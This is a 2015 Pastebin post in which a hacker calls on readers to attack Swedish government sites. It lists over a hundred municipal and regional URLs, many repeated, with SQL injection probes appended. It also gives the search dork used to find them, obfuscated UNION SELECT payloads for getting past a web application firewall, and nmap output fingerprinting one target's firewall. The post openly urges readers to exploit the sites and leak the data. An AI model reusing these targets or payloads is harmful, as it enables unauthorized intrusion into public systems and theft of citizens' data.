SHARE
TWEET

PH1K3 swe vulns

a guest Mar 5th, 2015 843 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. copie:https://www.quickleak.org/4H5m8WOs
  2. copie:https://ghostbin.com/paste/c63j6
  3.  
  4.  
  5.  
  6.                 N i do this for you my beloved sister<3
  7.  ________  ___  ___    _____  ___  __    ________    
  8. |\   __  \|\  \|\  \  / __  \|\  \|\  \ |\_____  \       FREE ANAKATA and the swedish people
  9. \ \  \|\  \ \  \\\  \|\/_|\  \ \  \/  /|\|____|\ /_  
  10.  \ \   ____\ \   __  \|/ \ \  \ \   ___  \    \|\  \  
  11.   \ \  \___|\ \  \ \  \   \ \  \ \  \\ \  \  __\_\  \  dont worry bro -=>PH1K3<=- got your back!
  12.    \ \__\    \ \__\ \__\   \ \__\ \__\\ \__\|\_______\
  13.     \|__|     \|__|\|__|    \|__|\|__| \|__|\|_______|
  14.                                                      
  15.                                 nothin can stop a phreaker and a hacker
  16.  
  17. This is for all you out their who want to revenge anakata or fuck with the swedish gov!
  18.  
  19. the social service in sweden is corrupt !
  20. and its time to take action rather then waiting for others to do so.
  21.  
  22. link to proof of corrupt the social service is:http://pastebin.com/49Kprquk
  23.  
  24. Read all before you try to exploit
  25.  
  26. The vuln i found can be exploited using sqli
  27.  
  28. btw the swedish gov is gonna try to fix this bug i found as soon as they see this so exploit all you can and leak it all!
  29.  
  30.  
  31. Vuln sites:
  32. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=96%27
  33. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=96%27
  34. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=200%27
  35. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=200%27
  36. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=1861%27
  37. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=1861%27
  38. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  39. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  40. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  41. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  42. http://web1.kalmar.se/troint/detail_namndstyrelse.asp?namnd=OFN%27
  43. http://web1.kalmar.se/troint/detail_namndstyrelse.asp?namnd=OFN%27
  44. http://www.gbg.sv.se/event/Evenemang.asp?Inc=Anmalan&ID=346
  45. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS
  46. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  47. http://www.haninge.se/troint/detail_namndstyrelse.asp?namnd=ks%27
  48. http://troint.hoganas.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  49. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=110%27
  50. http://webbapp.uppsala.se/Troint/detail_namndstyrelse.asp?namnd=ks%27
  51. http://webbapp.uppsala.se/Troint/detail_namndstyrelse.asp?namnd=bun%27
  52. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  53. http://www.orkelljunga.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  54. http://trointweb.kommun.kiruna.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  55. http://troint.net.umea.se/troint/detail_namndstyrelse.asp?namnd=KOMM%27
  56. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=AL%27
  57. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  58. http://troint.svalov.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  59. http://troint.ljusdal.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  60. http://www2.sundsvall.se/troint/detail_namndstyrelse.asp?namnd=TINGSR%C4TTEN%27
  61. http://www.emmaboda.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  62. http://troint.landskrona.se/troint/detail_namndstyrelse.asp?namnd=INVEST%27
  63. http://infobank.nacka.se/troint/detail_namndstyrelse.asp?namnd=UBN%27
  64. http://troint.eslov.se/Troint/detail_namndstyrelse.asp?namnd=kf%27
  65. http://troint.upplandsvasby.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  66. http://troint.lul.se/troint/detail_namndstyrelse.asp?namnd=LTFU%27
  67. http://politiker.sigtuna.se/troint/detail_namndstyrelse.asp?namnd=N%C3%A4mnde%27
  68. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  69. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  70. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  71. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  72. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  73. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  74. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  75. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  76. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  77. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  78. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  79. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  80. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  81. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  82. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  83. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  84. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  85. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  86. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  87. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  88. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  89. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  90. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  91. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  92. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  93. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  94. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  95. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  96. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  97. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  98. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  99. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  100. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  101. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  102. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  103. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  104. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  105. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  106. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  107. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  108. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  109. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  110. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  111. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  112. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  113. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  114. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  115. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  116. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  117. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  118. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  119. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  120. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  121. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  122. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  123. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  124. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  125. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  126. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  127. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  128. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  129. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  130. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  131. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  132. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  133. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  134. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  135. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  136. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  137. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  138. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  139. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  140. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  141. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  142. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  143. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  144. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  145. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  146. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  147. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  148. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  149. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  150. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  151. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  152. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  153. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  154. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  155. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  156. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  157. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  158. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  159. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  160. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  161. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  162. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  163. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  164. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  165. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  166. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  167. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  168. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  169. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  170. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  171. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  172. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  173. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  174. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  175. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  176. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  177. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  178. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  179. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  180. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  181. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  182. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  183. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  184. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  185. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  186. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  187. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  188. http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=KSL
  189. http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=ksl-2
  190. http://troint.sundbyberg.se/troint/detail_namndstyrelse.asp?namnd=ksl
  191. http://portal.ekero.se/troint/detail_namndstyrelse.asp?namnd=KOM-F
  192. http://politiker.sigtuna.se/troint/detail_namndstyrelse.asp?namnd=Museum
  193. http://troint.lul.se/troint/detail_namndstyrelse.asp?namnd=SAU
  194. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=Str%E5lbeh&PrmUppdrag=ers&FullDetail=
  195. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=LVF
  196. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Lt%20%C3%B6ms%20fb
  197. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS
  198. roint.landskrona.se/troint/detail_namndstyrelse.asp?namnd=KR
  199. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6&nSORT=DESC
  200. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6
  201.  
  202. police ---> http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=POLIS
  203.  
  204. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6
  205. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=101
  206. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=110
  207. http://cfwebb.vgregion.se/troint/troman_lista.asp
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214. the vuln:
  215.  
  216.  
  217. they usage an opensource table/application called troint,its pretty bad coded but its free haha..
  218.  
  219. this php application is vuln to sqli!
  220. i found this using the dork:.se/troint/detail_namndstyrelse.asp?
  221.  
  222. troint:
  223. link:http://www.troint.se
  224.  
  225.  
  226.  
  227.  
  228. when exploited: you have to do it manually so sqlmap doesnt work(what a bummer right?..)
  229.  
  230. why cant we exploit it with sqlmap? cuz they have a waf(webb application firewall) that blocks request
  231.  
  232. bypassing it:
  233.  
  234.  
  235. here is a great paper on how to bypass a firewall and sqli:http://www.exploit-db.com/papers/17934/
  236.  
  237. insteed of union select 1,2,3--
  238. '/*!uNiOn*//*!sElEcT*/1--+
  239. '/*!uNiOn*//*!sElEcT*/2--+
  240. '/*!uNiOn*//*!sElEcT*/3--+
  241.  and so on until u got all the tables
  242.  
  243. Their firewall:
  244.  
  245. Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-05 16:38 CET
  246. Nmap scan report for vip09.vgregion.se (192.71.67.109)
  247. Host is up (0.070s latency).
  248. Not shown: 999 filtered ports
  249. PORT   STATE SERVICE
  250. 80/tcp open  http
  251. | http-waf-fingerprint:
  252. |   Detected WAF
  253. |_    ISA Server
  254.  
  255. Nmap done: 1 IP address (1 host up) scanned in 14.30 seconds
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top